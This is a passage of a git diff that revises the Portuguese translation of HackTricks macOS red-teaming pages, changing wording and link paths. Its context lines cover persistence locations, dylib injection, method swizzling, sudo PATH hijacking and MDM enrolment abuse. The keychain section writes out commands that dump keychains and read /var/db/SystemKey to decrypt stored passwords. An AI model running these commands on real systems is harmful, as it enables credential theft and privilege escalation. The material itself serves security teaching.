executar em um único diretório. Para inspecionar isso, o seguinte comando pode ser usado: ```bash ls -l /private/var/db/emondClients ``` ### ~~XQuartz~~ -Escrita: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) #### Localização - **`/opt/X11/etc/X11/xinit/privileged_startx.d`** -- Root necessário +- Requer root - **Gatilho**: Com XQuartz #### Descrição & Exploit -XQuartz **não está mais instalado no macOS**, então se você quiser mais informações, confira a escrita. +XQuartz **não está mais instalado no macOS**, então se você quiser mais informações, confira o writeup. ### ~~kext~~ @@ -1524,7 +1524,7 @@ XQuartz **não está mais instalado no macOS**, então se você quiser mais info Para instalar um KEXT como um item de inicialização, ele precisa ser **instalado em um dos seguintes locais**: - `/System/Library/Extensions` -- Arquivos KEXT incorporados no sistema operacional OS X. +- Arquivos KEXT integrados ao sistema operacional OS X. - `/Library/Extensions` - Arquivos KEXT instalados por software de terceiros @@ -1536,7 +1536,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` -Para mais informações sobre [**extensões de kernel, ver esta seção**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). +Para mais informações sobre [**extensões de kernel, ver esta seção**](macos-security-and-privilege-escalation/mac-os-architecture/index.html#i-o-kit-drivers). ### ~~amstoold~~ diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md index c30aaddf6..9203289a1 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md @@ -4,7 +4,7 @@ ## Introdução -Como [**comentado anteriormente**](./#what-is-mdm-mobile-device-management)**,** para tentar inscrever um dispositivo em uma organização **apenas um Número de Série pertencente a essa Organização é necessário**. Uma vez que o dispositivo está inscrito, várias organizações instalarão dados sensíveis no novo dispositivo: certificados, aplicativos, senhas de WiFi, configurações de VPN [e assim por diante](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +Como [**comentado anteriormente**](#what-is-mdm-mobile-device-management)**,** para tentar inscrever um dispositivo em uma organização **apenas um Número de Série pertencente a essa Organização é necessário**. Uma vez que o dispositivo está inscrito, várias organizações instalarão dados sensíveis no novo dispositivo: certificados, aplicativos, senhas de WiFi, configurações de VPN [e assim por diante](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ Portanto, isso pode ser um ponto de entrada perigoso para atacantes se o processo de inscrição não estiver corretamente protegido. **A seguir está um resumo da pesquisa [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Confira para mais detalhes técnicos!** @@ -23,13 +23,13 @@ Os check-ins do DEP utilizam as funções `CPFetchActivationRecord` e `CPGetActi O check-in do DEP envolve `cloudconfigurationd` enviando um payload JSON assinado e criptografado para _iprofiles.apple.com/macProfile_. O payload inclui o número de série do dispositivo e a ação "RequestProfileConfiguration". O esquema de criptografia utilizado é referido internamente como "Absinthe". Desvendar esse esquema é complexo e envolve várias etapas, o que levou à exploração de métodos alternativos para inserir números de série arbitrários na solicitação do Registro de Ativação. -## Interceptando Solicitações do DEP +## Interceptação de Solicitações do DEP Tentativas de interceptar e modificar solicitações do DEP para _iprofiles.apple.com_ usando ferramentas como Charles Proxy foram dificultadas pela criptografia do payload e medidas de segurança SSL/TLS. No entanto, habilitar a configuração `MCCloudConfigAcceptAnyHTTPSCertificate` permite contornar a validação do certificado do servidor, embora a natureza criptografada do payload ainda impeça a modificação do número de série sem a chave de descriptografia. -## Instrumentando Binários do Sistema que Interagem com o DEP +## Instrumentação de Binários do Sistema que Interagem com o DEP -Instrumentar binários do sistema como `cloudconfigurationd` requer desativar a Proteção de Integridade do Sistema (SIP) no macOS. Com o SIP desativado, ferramentas como LLDB podem ser usadas para anexar-se a processos do sistema e potencialmente modificar o número de série usado nas interações da API do DEP. Este método é preferível, pois evita as complexidades de direitos e assinatura de código. +Instrumentar binários do sistema como `cloudconfigurationd` requer desativar a Proteção de Integridade do Sistema (SIP) no macOS. Com o SIP desativado, ferramentas como LLDB podem ser usadas para se anexar a processos do sistema e potencialmente modificar o número de série usado nas interações da API do DEP. Este método é preferível, pois evita as complexidades de direitos e assinatura de código. **Explorando a Instrumentação Binária:** Modificar o payload da solicitação do DEP antes da serialização JSON em `cloudconfigurationd` provou ser eficaz. O processo envolveu: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 23b9f06b3..03e8d273f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -67,9 +67,9 @@ Se um **processo executado como root escreve** um arquivo que pode ser controlad Isso pode ocorrer nas seguintes situações: - O arquivo usado já foi criado por um usuário (pertencente ao usuário) -- O arquivo usado é gravável pelo usuário por causa de um grupo +- O arquivo usado é gravável pelo usuário devido a um grupo - O arquivo usado está dentro de um diretório pertencente ao usuário (o usuário poderia criar o arquivo) -- O arquivo usado está dentro de um diretório pertencente ao root, mas o usuário tem acesso de gravação sobre ele por causa de um grupo (o usuário poderia criar o arquivo) +- O arquivo usado está dentro de um diretório pertencente ao root, mas o usuário tem acesso de gravação sobre ele devido a um grupo (o usuário poderia criar o arquivo) Ser capaz de **criar um arquivo** que será **usado pelo root** permite que um usuário **tire proveito de seu conteúdo** ou até mesmo crie **symlinks/hardlinks** para apontá-lo para outro lugar. @@ -95,9 +95,9 @@ Portanto, um atacante que deseja comprometer com sucesso uma máquina macOS prec Esses privilégios geralmente são concedidos na forma de **direitos** com os quais o aplicativo é assinado, ou o aplicativo pode solicitar alguns acessos e, após o **usuário aprová-los**, eles podem ser encontrados nos **bancos de dados TCC**. Outra maneira de um processo obter esses privilégios é sendo um **filho de um processo** com esses **privilégios**, pois eles geralmente são **herdados**. -Siga esses links para encontrar diferentes maneiras de [**escalar privilégios no TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), para [**burlar o TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) e como no passado [**o SIP foi burlado**](macos-security-protections/macos-sip.md#sip-bypasses). +Siga esses links para encontrar diferentes maneiras de [**escalar privilégios no TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), para [**burlar o TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) e como no passado [**o SIP foi burlado**](macos-security-protections/macos-sip.md#sip-bypasses). -## Escalação de Privilégios Tradicional do macOS +## Escalação Tradicional de Privilégios no macOS Claro, do ponto de vista de uma equipe vermelha, você também deve estar interessado em escalar para root. Confira o seguinte post para algumas dicas: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md index 13e2a80c5..89e1a6586 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md @@ -6,7 +6,7 @@ Crie um **dylib** com uma seção **`__interpose`** (ou uma seção marcada com **`S_INTERPOSING`**) contendo tuplas de **ponteiros de função** que se referem às funções **originais** e **substitutas**. -Em seguida, **injete** o dylib com **`DYLD_INSERT_LIBRARIES`** (a interposição precisa ocorrer antes do carregamento do aplicativo principal). Obviamente, as [**restrições** aplicadas ao uso de **`DYLD_INSERT_LIBRARIES`** se aplicam aqui também](../macos-proces-abuse/macos-library-injection/#check-restrictions). +Em seguida, **injete** o dylib com **`DYLD_INSERT_LIBRARIES`** (a interposição precisa ocorrer antes do carregamento do aplicativo principal). Obviamente, as [**restrições** aplicadas ao uso de **`DYLD_INSERT_LIBRARIES`** se aplicam aqui também](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions). ### Interpor printf @@ -158,7 +158,7 @@ NSLog(@"Uppercase string: %@", uppercaseString3); return 0; } ``` -### Troca de Métodos com method_exchangeImplementations +### Method Swizzling com method_exchangeImplementations A função **`method_exchangeImplementations`** permite **mudar** o **endereço** da **implementação** de **uma função pela outra**. @@ -208,11 +208,11 @@ return 0; } ``` > [!WARNING] -> Neste caso, se o **código de implementação do método legítimo** **verificar** o **nome do método**, ele pode **detectar** essa troca e impedir que ela seja executada. +> Neste caso, se o **código de implementação do método legit** **verificar** o **nome do método**, ele pode **detectar** esse swizzling e impedir que ele seja executado. > > A técnica a seguir não tem essa restrição. -### Troca de Métodos com method_setImplementation +### Swizzling de Método com method_setImplementation O formato anterior é estranho porque você está trocando a implementação de 2 métodos um pelo outro. Usando a função **`method_setImplementation`**, você pode **mudar** a **implementação** de um **método para o outro**. @@ -272,7 +272,7 @@ return 0; Nesta página, diferentes maneiras de hookear funções foram discutidas. No entanto, elas envolviam **executar código dentro do processo para atacar**. -Para fazer isso, a técnica mais fácil de usar é injetar um [Dyld via variáveis de ambiente ou sequestro](../macos-dyld-hijacking-and-dyld_insert_libraries.md). No entanto, eu acho que isso também poderia ser feito via [injeção de processo Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). +Para fazer isso, a técnica mais fácil de usar é injetar um [Dyld via variáveis de ambiente ou sequestro](../macos-dyld-hijacking-and-dyld_insert_libraries.md). No entanto, eu acho que isso também poderia ser feito via [injeção de processo Dylib](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port). No entanto, ambas as opções são **limitadas** a binários/processos **não protegidos**. Verifique cada técnica para aprender mais sobre as limitações. @@ -286,7 +286,7 @@ Assim, o vetor do atacante seria encontrar uma vulnerabilidade ou remover a assi /Applications/Application.app/Contents/malicious.dylib ``` -e então **re-registre** o aplicativo: +e então **re-registrar** o aplicativo: ```bash /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md index f61045553..07649dd4f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md @@ -6,11 +6,11 @@ O I/O Kit é um **framework de driver de dispositivo** orientado a objetos e de código aberto no kernel XNU, que lida com **drivers de dispositivo carregados dinamicamente**. Ele permite que código modular seja adicionado ao kernel em tempo real, suportando hardware diversificado. -Os drivers do IOKit basicamente **exportam funções do kernel**. Os **tipos** de **parâmetros** dessas funções são **pré-definidos** e verificados. Além disso, semelhante ao XPC, o IOKit é apenas mais uma camada **sobre as mensagens Mach**. +Os drivers do IOKit basicamente **exportam funções do kernel**. Os **tipos** de **parâmetros** dessas funções são **pré-definidos** e verificados. Além disso, semelhante ao XPC, o IOKit é apenas mais uma camada **sobre mensagens Mach**. O **código do kernel IOKit XNU** é de código aberto pela Apple em [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Além disso, os componentes do IOKit no espaço do usuário também são de código aberto [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). -No entanto, **nenhum driver IOKit** é de código aberto. De qualquer forma, de tempos em tempos, um lançamento de um driver pode vir com símbolos que facilitam a depuração. Confira como [**obter as extensões do driver do firmware aqui**](./#ipsw)**.** +No entanto, **nenhum driver IOKit** é de código aberto. De qualquer forma, de tempos em tempos, um lançamento de um driver pode vir com símbolos que facilitam a depuração. Confira como [**obter as extensões do driver do firmware aqui**](#ipsw)**.** Está escrito em **C++**. Você pode obter símbolos C++ demangled com: ```bash @@ -76,7 +76,7 @@ ioreg -l #List all ioreg -w 0 #Not cut lines ioreg -p #Check other plane ``` -Você pode baixar **`IORegistryExplorer`** das **Xcode Additional Tools** em [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) e inspecionar o **macOS IORegistry** através de uma interface **gráfica**. +Você pode baixar **`IORegistryExplorer`** do **Xcode Additional Tools** em [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) e inspecionar o **macOS IORegistry** através de uma interface **gráfica**.
@@ -154,7 +154,7 @@ Existem **outras** funções que podem ser usadas para chamar funções do IOKit ## Reversão do ponto de entrada do driver -Você pode obter isso, por exemplo, de uma [**imagem de firmware (ipsw)**](./#ipsw). Em seguida, carregue-a em seu descompilador favorito. +Você pode obter isso, por exemplo, de uma [**imagem de firmware (ipsw)**](#ipsw). Em seguida, carregue-a em seu descompilador favorito. Você pode começar a descompilar a função **`externalMethod`**, pois esta é a função do driver que receberá a chamada e chamará a função correta: @@ -162,7 +162,7 @@ Você pode começar a descompilar a função **`externalMethod`**, pois esta é
-Aquela chamada horrível demanglada significa: +Aquela chamada horrível demangled significa: ```cpp IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` @@ -192,11 +192,11 @@ Agora, seguindo o `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray`, voc
-Altere o Tipo de Dados para **`IOExternalMethodDispatch2022:`** +Mude o Tipo de Dados para **`IOExternalMethodDispatch2022:`**
-após a alteração: +após a mudança:
@@ -209,6 +209,6 @@ Após o array ser criado, você pode ver todas as funções exportadas:
> [!TIP] -> Se você se lembra, para **chamar** uma função **exportada** do espaço do usuário, não precisamos chamar o nome da função, mas o **número do seletor**. Aqui você pode ver que o seletor **0** é a função **`initializeDecoder`**, o seletor **1** é **`startDecoder`**, o seletor **2** **`initializeEncoder`**... +> Se você se lembrar, para **chamar** uma função **exportada** do espaço do usuário, não precisamos chamar o nome da função, mas o **número do seletor**. Aqui você pode ver que o seletor **0** é a função **`initializeDecoder`**, o seletor **1** é **`startDecoder`**, o seletor **2** **`initializeEncoder`**... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md index 553994de0..bcb82aea7 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md @@ -1,4 +1,4 @@ -# macOS Localizações Sensíveis & Daemons Interessantes +# macOS Sensitive Locations & Interesting Daemons {{#include ../../../banners/hacktricks-training.md}} @@ -41,13 +41,13 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be ### Visão Geral do Keychaindump -Uma ferramenta chamada **keychaindump** foi desenvolvida para extrair senhas dos keychains do macOS, mas enfrenta limitações em versões mais recentes do macOS, como o Big Sur, conforme indicado em uma [discussão](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). O uso do **keychaindump** requer que o atacante ganhe acesso e eleve privilégios para **root**. A ferramenta explora o fato de que o keychain é desbloqueado por padrão ao fazer login do usuário, permitindo que aplicativos acessem sem exigir repetidamente a senha do usuário. No entanto, se um usuário optar por bloquear seu keychain após cada uso, o **keychaindump** se torna ineficaz. +Uma ferramenta chamada **keychaindump** foi desenvolvida para extrair senhas dos keychains do macOS, mas enfrenta limitações em versões mais recentes do macOS, como o Big Sur, conforme indicado em uma [discussão](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). O uso do **keychaindump** requer que o atacante ganhe acesso e eleve privilégios para **root**. A ferramenta explora o fato de que o keychain é desbloqueado por padrão ao fazer login do usuário, para conveniência, permitindo que aplicativos acessem sem exigir repetidamente a senha do usuário. No entanto, se um usuário optar por bloquear seu keychain após cada uso, o **keychaindump** se torna ineficaz. **Keychaindump** opera direcionando um processo específico chamado **securityd**, descrito pela Apple como um daemon para operações de autorização e criptografia, crucial para acessar o keychain. O processo de extração envolve identificar uma **Chave Mestra** derivada da senha de login do usuário. Esta chave é essencial para ler o arquivo do keychain. Para localizar a **Chave Mestra**, o **keychaindump** escaneia o heap de memória do **securityd** usando o comando `vmmap`, procurando por chaves potenciais em áreas sinalizadas como `MALLOC_TINY`. O seguinte comando é usado para inspecionar essas localizações de memória: ```bash sudo vmmap | grep MALLOC_TINY ``` -Após identificar chaves mestres potenciais, **keychaindump** procura nos heaps por um padrão específico (`0x0000000000000018`) que indica um candidato para a chave mestre. Passos adicionais, incluindo desofuscação, são necessários para utilizar esta chave, conforme descrito no código-fonte do **keychaindump**. Analistas que se concentram nesta área devem observar que os dados cruciais para descriptografar o chaveiro estão armazenados na memória do processo **securityd**. Um comando de exemplo para executar o **keychaindump** é: +Após identificar chaves mestres potenciais, **keychaindump** procura nos heaps por um padrão específico (`0x0000000000000018`) que indica um candidato para a chave mestre. Passos adicionais, incluindo desofuscação, são necessários para utilizar esta chave, conforme descrito no código-fonte do **keychaindump**. Analistas que se concentram nesta área devem observar que os dados cruciais para descriptografar o chaveiro estão armazenados na memória do processo **securityd**. Um exemplo de comando para executar o **keychaindump** é: ```bash sudo ./keychaindump ``` @@ -55,13 +55,13 @@ sudo ./keychaindump [**Chainbreaker**](https://github.com/n0fate/chainbreaker) pode ser usado para extrair os seguintes tipos de informações de um keychain do OSX de maneira forense: -- Senha do keychain hashada, adequada para quebra com [hashcat](https://hashcat.net/hashcat/) ou [John the Ripper](https://www.openwall.com/john/) +- Senha do Keychain hashada, adequada para quebra com [hashcat](https://hashcat.net/hashcat/) ou [John the Ripper](https://www.openwall.com/john/) - Senhas da Internet -- Senhas genéricas -- Chaves privadas -- Chaves públicas +- Senhas Genéricas +- Chaves Privadas +- Chaves Públicas - Certificados X509 -- Notas seguras +- Notas Seguras - Senhas do Appleshare Dada a senha de desbloqueio do keychain, uma chave mestra obtida usando [volafox](https://github.com/n0fate/volafox) ou [volatility](https://github.com/volatilityfoundation/volatility), ou um arquivo de desbloqueio como SystemKey, o Chainbreaker também fornecerá senhas em texto claro. @@ -81,7 +81,7 @@ hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo ## Use the previous key to decrypt the passwords python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain ``` -#### **Extrair chaves do keychain (com senhas) quebrando o hash** +#### **Despejar chaves do keychain (com senhas) quebrando o hash** ```bash # Get the keychain hash python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain @@ -92,7 +92,7 @@ python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d1 ``` #### **Extrair chaves do keychain (com senhas) com despejo de memória** -[Siga estes passos](../#dumping-memory-with-osxpmem) para realizar um **despejo de memória** +[Siga estes passos](../index.html#dumping-memory-with-osxpmem) para realizar um **despejo de memória** ```bash #Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords # Unformtunately volafox isn't working with the latest versions of MacOS @@ -149,7 +149,7 @@ Em aplicativos macOS, as preferências estão localizadas em **`$HOME/Library/Pr No macOS, a ferramenta de linha de comando **`defaults`** pode ser usada para **modificar o arquivo de Preferências**. -**`/usr/sbin/cfprefsd`** reivindica os serviços XPC `com.apple.cfprefsd.daemon` e `com.apple.cfprefsd.agent` e pode ser chamada para realizar ações como modificar preferências. +**`/usr/sbin/cfprefsd`** reivindica os serviços XPC `com.apple.cfprefsd.daemon` e `com.apple.cfprefsd.agent` e pode ser chamado para realizar ações como modificar preferências. ## OpenDirectory permissions.plist diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index 70b77e5b2..a69df6ec3 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -22,7 +22,7 @@ Por favor, note que **a maioria das técnicas de escalação de privilégios que ### Sequestro do Sudo -Você pode encontrar a técnica original de [Sequestro do Sudo dentro do post de Escalação de Privilégios no Linux](../../linux-hardening/privilege-escalation/#sudo-hijacking). +Você pode encontrar a técnica original de [Sequestro do Sudo dentro do post de Escalação de Privilégios no Linux](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking). No entanto, o macOS **mantém** o **`PATH`** do usuário quando ele executa **`sudo`**. O que significa que outra maneira de realizar esse ataque seria **sequestrar outros binários** que a vítima ainda executará ao **executar sudo:** ```bash @@ -201,7 +201,7 @@ killall Dock {{#endtab}} {{#endtabs}} -## TCC - Escalação de Privilégios Root +## TCC - Escalação de Privilégios de Root ### CVE-2020-9771 - bypass do TCC do mount_apfs e escalonamento de privilégios diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md index d08e63e79..d2aa013c0 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md @@ -6,7 +6,7 @@ Crie um **dylib** com uma seção **`__interpose` (`__DATA___interpose`)** (ou uma seção marcada com **`S_INTERPOSING`**) contendo tuplas de **ponteiros de função** que se referem às funções **originais** e **substitutas**. -Em seguida, **injete** o dylib com **`DYLD_INSERT_LIBRARIES`** (a interposição precisa ocorrer antes do carregamento do aplicativo principal). Obviamente, as [**restrições** aplicadas ao uso de **`DYLD_INSERT_LIBRARIES`** se aplicam aqui também](macos-library-injection/#check-restrictions). +Em seguida, **injete** o dylib com **`DYLD_INSERT_LIBRARIES`** (a interposição precisa ocorrer antes do carregamento do aplicativo principal). Obviamente, as [**restrições** aplicadas ao uso de **`DYLD_INSERT_LIBRARIES`** se aplicam aqui também](macos-library-injection/index.html#check-restrictions). ### Interpor printf @@ -80,7 +80,7 @@ Hello from interpose > [!WARNING] > A variável de ambiente **`DYLD_PRINT_INTERPOSTING`** pode ser usada para depurar a interposição e imprimirá o processo de interposição. -Além disso, note que **a interposição ocorre entre o processo e as bibliotecas carregadas**, não funciona com o cache de bibliotecas compartilhadas. +Também note que **a interposição ocorre entre o processo e as bibliotecas carregadas**, não funciona com o cache de bibliotecas compartilhadas. ### Interposição Dinâmica @@ -226,11 +226,11 @@ return 0; } ``` > [!WARNING] -> Neste caso, se o **código de implementação do legit** método **verificar** o **nome** do **método**, ele pode **detectar** esse swizzling e impedir que ele seja executado. +> Neste caso, se o **código de implementação do método legítimo** **verificar** o **nome do método**, ele pode **detectar** esse swizzling e impedi-lo de ser executado. > > A técnica a seguir não tem essa restrição. -### Method Swizzling com method_setImplementation +### Swizzling de Método com method_setImplementation O formato anterior é estranho porque você está trocando a implementação de 2 métodos um pelo outro. Usando a função **`method_setImplementation`**, você pode **mudar** a **implementação** de um **método para o outro**. @@ -290,7 +290,7 @@ return 0; Nesta página, diferentes maneiras de hookear funções foram discutidas. No entanto, elas envolviam **executar código dentro do processo para atacar**. -Para fazer isso, a técnica mais fácil de usar é injetar um [Dyld via variáveis de ambiente ou sequestro](macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md). No entanto, eu acho que isso também poderia ser feito via [injeção de processo Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). +Para fazer isso, a técnica mais fácil de usar é injetar um [Dyld via variáveis de ambiente ou sequestro](macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md). No entanto, eu acho que isso também poderia ser feito via [injeção de processo Dylib](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port). No entanto, ambas as opções são **limitadas** a binários/processos **não protegidos**. Verifique cada técnica para aprender mais sobre as limitações. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md index 91229680a..08dbabbda 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md @@ -40,7 +40,7 @@ server_port : mach_port_t; n1 : uint32_t; n2 : uint32_t); ``` -Observe que o primeiro **argumento é a porta a ser vinculada** e o MIG **lidará automaticamente com a porta de resposta** (a menos que `mig_get_reply_port()` seja chamado no código do cliente). Além disso, o **ID das operações** será **sequenial** começando pelo ID do subsistema indicado (então, se uma operação for depreciada, ela é excluída e `skip` é usada para ainda usar seu ID). +Observe que o primeiro **argumento é a porta a ser vinculada** e o MIG **lidará automaticamente com a porta de resposta** (a menos que `mig_get_reply_port()` seja chamado no código do cliente). Além disso, o **ID das operações** será **sequenial** começando pelo ID do subsistema indicado (então, se uma operação for depreciada, ela é excluída e `skip` é usado para ainda usar seu ID). Agora use o MIG para gerar o código do servidor e do cliente que será capaz de se comunicar entre si para chamar a função Subtract: ```bash @@ -104,7 +104,7 @@ return 0; return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine; } ``` -Neste exemplo, definimos apenas 1 função nas definições, mas se tivéssemos definido mais funções, elas estariam dentro do array de **`SERVERPREFmyipc_subsystem`** e a primeira seria atribuída ao ID **500**, a segunda ao ID **501**... +Neste exemplo, definimos apenas 1 função nas definições, mas se tivéssemos definido mais funções, elas estariam dentro do array de **`SERVERPREFmyipc_subsystem`** e a primeira teria sido atribuída ao ID **500**, a segunda ao ID **501**... Se a função fosse esperada para enviar uma **reply**, a função `mig_internal kern_return_t __MIG_check__Reply__` também existiria. @@ -217,11 +217,11 @@ USERPREFSubtract(port, 40, 2); ### O NDR_record -O NDR_record é exportado por `libsystem_kernel.dylib`, e é uma struct que permite que o MIG **transforme dados para que sejam agnósticos ao sistema** em que está sendo usado, já que o MIG foi pensado para ser usado entre diferentes sistemas (e não apenas na mesma máquina). +O NDR_record é exportado por `libsystem_kernel.dylib`, e é uma struct que permite que o MIG **transforme dados para que sejam agnósticos ao sistema** em que está sendo usado, já que o MIG foi pensado para ser utilizado entre diferentes sistemas (e não apenas na mesma máquina). Isso é interessante porque se `_NDR_record` for encontrado em um binário como uma dependência (`jtool2 -S | grep NDR` ou `nm`), isso significa que o binário é um cliente ou servidor MIG. -Além disso, **servidores MIG** têm a tabela de despacho em `__DATA.__const` (ou em `__CONST.__constdata` no kernel do macOS e `__DATA_CONST.__const` em outros kernels \*OS). Isso pode ser despejado com **`jtool2`**. +Além disso, **servidores MIG** têm a tabela de despacho em `__DATA.__const` (ou em `__CONST.__constdata` no kernel do macOS e `__DATA_CONST.__const` em outros kernels \*OS). Isso pode ser extraído com **`jtool2`**. E **clientes MIG** usarão o `__NDR_record` para enviar com `__mach_msg` para os servidores. @@ -231,7 +231,7 @@ E **clientes MIG** usarão o `__NDR_record` para enviar com `__mach_msg` para os Como muitos binários agora usam MIG para expor portas mach, é interessante saber como **identificar que o MIG foi usado** e as **funções que o MIG executa** com cada ID de mensagem. -[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) pode analisar informações do MIG a partir de um binário Mach-O, indicando o ID da mensagem e identificando a função a ser executada: +[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/index.html#jtool2) pode analisar informações do MIG a partir de um binário Mach-O, indicando o ID da mensagem e identificando a função a ser executada: ```bash jtool2 -d __DATA.__const myipc_server | grep MIG ``` @@ -241,7 +241,7 @@ jtool2 -d __DATA.__const myipc_server | grep BL ``` ### Assembly -Foi mencionado anteriormente que a função que se encarregará de **chamar a função correta dependendo do ID da mensagem recebida** era `myipc_server`. No entanto, você geralmente não terá os símbolos do binário (sem nomes de funções), então é interessante **ver como ela se parece decompilada**, pois será sempre muito semelhante (o código desta função é independente das funções expostas): +Foi mencionado anteriormente que a função que cuidará de **chamar a função correta dependendo do ID da mensagem recebida** era `myipc_server`. No entanto, você geralmente não terá os símbolos do binário (sem nomes de funções), então é interessante **ver como ela se parece decompilada**, pois será sempre muito semelhante (o código desta função é independente das funções expostas): {{#tabs}} {{#tab name="myipc_server decompiled 1"}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md index df42d211a..dbf1f7597 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md @@ -15,12 +15,12 @@ macos-dyld-process.md ## **DYLD_INSERT_LIBRARIES** -Isso é como o [**LD_PRELOAD no Linux**](../../../../linux-hardening/privilege-escalation/#ld_preload). Permite indicar um processo que vai ser executado para carregar uma biblioteca específica de um caminho (se a variável de ambiente estiver habilitada) +Isso é como o [**LD_PRELOAD no Linux**](../../../../linux-hardening/privilege-escalation/index.html#ld_preload). Permite indicar um processo que vai ser executado para carregar uma biblioteca específica de um caminho (se a variável de ambiente estiver habilitada) -Essa técnica também pode ser **usada como uma técnica ASEP** já que cada aplicativo instalado tem um plist chamado "Info.plist" que permite a **atribuição de variáveis ambientais** usando uma chave chamada `LSEnvironmental`. +Essa técnica também pode ser **usada como uma técnica ASEP** já que 